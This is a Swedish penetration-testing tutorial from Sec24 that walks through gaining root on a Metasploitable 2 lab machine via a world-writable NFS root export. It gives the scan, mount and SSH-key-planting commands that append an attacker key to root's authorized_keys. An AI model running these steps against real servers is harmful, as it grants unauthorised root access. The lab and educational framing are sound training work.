Sec24 – NFS Share

Av: Oscar Andersson, Sec24, 2013-05-17

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.

Bakgrund: Network File System, NFS, är ett protokoll som utvecklades av Sun Microsystems och som beskrivs i RFC 1094, 1813, 3010 och 3530. Det är ett filsystem inom ett nätverk som tillåter en dator att komma åt hårddiskar på andra maskiner som om de vore lokala.

Rpcbind kartlägger RPC-tjänster (remote procedure call) och vilka portar de lyssnar på.

Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.

Detta görs genom kommandot ifconfig.

2-1

Starta nu upp Backtrack och öppna en ny terminal.

Om du inte vill att terminalen automatiskt ska byta rad efter 80 tecken kan du köra kommandot:

tput rmam

För att återaktivera radbrytning kör du kommandot:

tput smam

Skriv följande kommandon:

cd /pentest/exploits/framework2

nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt

linux penetrationstest samba nmap

Vi får nu fram flera portar som är öppna.

För att filtrera resultatet när nmap körts klart kan vi köra kommandot:

egrep -i ‘(nfs|rpcbind|ssh)’ /var/tmp/scan.txt

Sec24 hur hackar man Linux penetrationstest NFS share 1

Vi skickar kommandot rpcinfo för att få fram vilka RPC-program som körs. Vi filtrerar sedan ut NFS med hjälp av grep.

rpcinfo -p 192.168.1.125

 rpcinfo -p 192.168.1.125 | grep nfs

Sec24 hur hackar man Linux penetrationstest NFS share 2

Vi kör nu kommandot showmount för att få fram mer information om NFS-servern.

showmount -e 192.168.1.125

Sec24 hur hackar man Linux penetrationstest NFS share 3

I Unix och Linux innebär “/” att du har tillgång till root-mappen. Det här öppnar upp många möjligheter för exploits.

Vi ska nu skapa SSH nycklar. Detta för att slippa skriva in ett lösenord som extern användare.

 mkdir -p /root/.ssh

cd /root/.ssh/

cat /dev/null > known_hosts (Detta kommando är inte nödvändigt. Används enbart för att undvika ett eventuellt man-in-the middle – known_host meddelande.)

ssh-keygen -t rsa -b 4096

“Enter file in which to save the key (/root/.ssh/id_rsa):” offsec

Enter passphrase (empty for no passphrase): Enter 

Enter same passphrase again: Enter

ls -l

Sec24 hur hackar man Linux penetrationstest NFS share 4

Vi ska nu montera Metasploitables “/” filsystem.

cd /

mount -t nfs 192.168.1.125:/ /mnt -o nolock (nolock inaktiverar fillåsning.)

df -k

Sec24 hur hackar man Linux penetrationstest NFS share 5

Vi ska nu kopiera BackTracks SSH-nyckel till Metaspolitable. Detta går att göra då det går att skriva till “/” på Metasploitable.

cd /mnt/root/.ssh

cp /root/.ssh/offsec.pub /mnt/root/.ssh/

ls -l

cat authorized_keys

cat offsec.pub >> authorized_keys

cat authorized_keys

Sec24 hur hackar man Linux penetrationstest NFS share 7

Vi ska nu bli root-användare på Metasploitable-servern.

cd /root/.ssh/

ssh -i /root/.ssh/offsec root@192.168.1.125

Are you sure you want to continue connecting (yes/no)? yes

whoami (Är nu root med full kontroll över servern)

exit

Sec24 hur hackar man Linux penetrationstest NFS share 9

Enkel nätverksanalys:

cd /

showmount -a 192.168.1.125

umount /mnt

df -k

showmount -a 192.168.1.125 (BackTracks IP är nu borta)

Sec24 hur hackar man Linux penetrationstest NFS share 11